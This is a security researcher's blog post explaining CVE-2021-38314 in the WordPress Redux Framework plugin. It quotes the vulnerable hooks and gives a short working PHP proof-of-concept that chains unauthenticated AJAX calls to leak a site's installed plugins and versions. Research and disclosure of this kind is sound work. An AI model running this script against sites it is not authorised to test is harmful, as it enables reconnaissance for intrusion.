Proof of Concept for CVE-2021-38314 (Redux Framework)
In order to understand this bug I first read through the Wordfence blog post and then read through through the Redux Framework source code to fill in the gaps. I also installed Wordpress with this plugin so that I didn’t have to test things blindly.
The relevant code is in inc/class.redux_instances.php. The first hook I looked at is this one:
$hash = md5( trailingslashit( network_site_url() ) . '-redux' );
add_action( 'wp_ajax_nopriv_' . $hash, array( $this, 'tracking_arg' ) );
add_action( 'wp_ajax_' . $hash, array( $this, 'tracking_arg' ) );
In Wordpress the add_action() function with the first argument of wp_ajax_ or wp_ajax_nopriv_ will create an ajax action that you can access from wp-admin/admin-ajax.php. It took me a while to realise that wp_ajax_ or wp_ajax_nopriv_ is not included in the action name when you access it. Also nopriv means you do not have to be logged in to access the ajax function.
Another thing to note here is that network_site_url may be different than the url you are accessing the site from as I found in one of my bugbounty reports. So that’s the first part of the PoC script:
$target = "https://target.com";
$key1 = md5("$target/-redux");
$key2 = file_get_contents("$target/wp-admin/admin-ajax.php?action=$key1");
Next we see what that function actually does
function tracking_arg() {
echo md5( Redux_Helpers::get_auth_key_secret_key() . '-redux' );
die();
}
It returns a hash of the auth_key_secret_key with “-redux” appended. This is great as it is what we need to access another function.
$hash = md5( md5( Redux_Helpers::get_auth_key_secret_key() . '-redux' ) . '-support' );
add_action( 'wp_ajax_nopriv_' . $hash, array( $this, 'support_args' ) );
add_action( 'wp_ajax_' . $hash, array( $this, 'support_args' ) );
We just need to take the response from tracking_arg(), append “-support” and md5 it again and thats the new function hook name.
Before support_args will return anything there is another check in the trackingObject() function (in inc/class.redux_helpers.php) we’ll need to pass.
public static function trackingObject() {
$data = wp_remote_post(
'http://verify.redux.io',
array(
'body' => array(
'hash' => $_GET['action'],
'site' => esc_url( home_url( '/' ) ),
)
)
);
$data['body'] = urldecode( $data['body'] );
if ( ! isset( $_GET['code'] ) || $data['body'] != $_GET['code'] ) {
die();
}
return Redux_Helpers::getTrackingObject();
}
So what this code does is compare the code param with the output of
http://verify.redux.io/?hash=TheSupportKey&site=http://target.com/
The trailing slash here is important so don’t put a slash at the end of your target when using the PoC script. For this check the domain is the one we’re visiting, not the one from the config (usually these are the same). We get that code from visiting the redux url since we have all the information and can bypass the trackingObject() check.
Now we can finally call the support_args() object hook and get back a JSON object with a list of the installed plugins and their versions.
It is also worth noting that if the plugin is vulnerable to CVE-2021-38314 then it will also be vulnerable to CVE-2021-38312 but that requires a contributor-level user account.
PoC Script
<?php
$target = "https://target.com";
$key1 = md5("$target/-redux");
$key2 = file_get_contents("$target/wp-admin/admin-ajax.php?action=$key1");
$key3 = md5($key2.'-support');
$redux_code = file_get_contents("http://verify.redux.io/?hash=$key3&site=$target/");
echo file_get_contents("$target/wp-admin/admin-ajax.php?action=$key3&code=$redux_code");
Timeline
Date | Action |
---|---|
01/09/2021 | Wordfence release blogpost about this CVE |
16/09/2021 | Opened pull request for Nuclei template |
21/09/2021 | Template added to Nuclei |
04/10/2021 | Released this blogpost |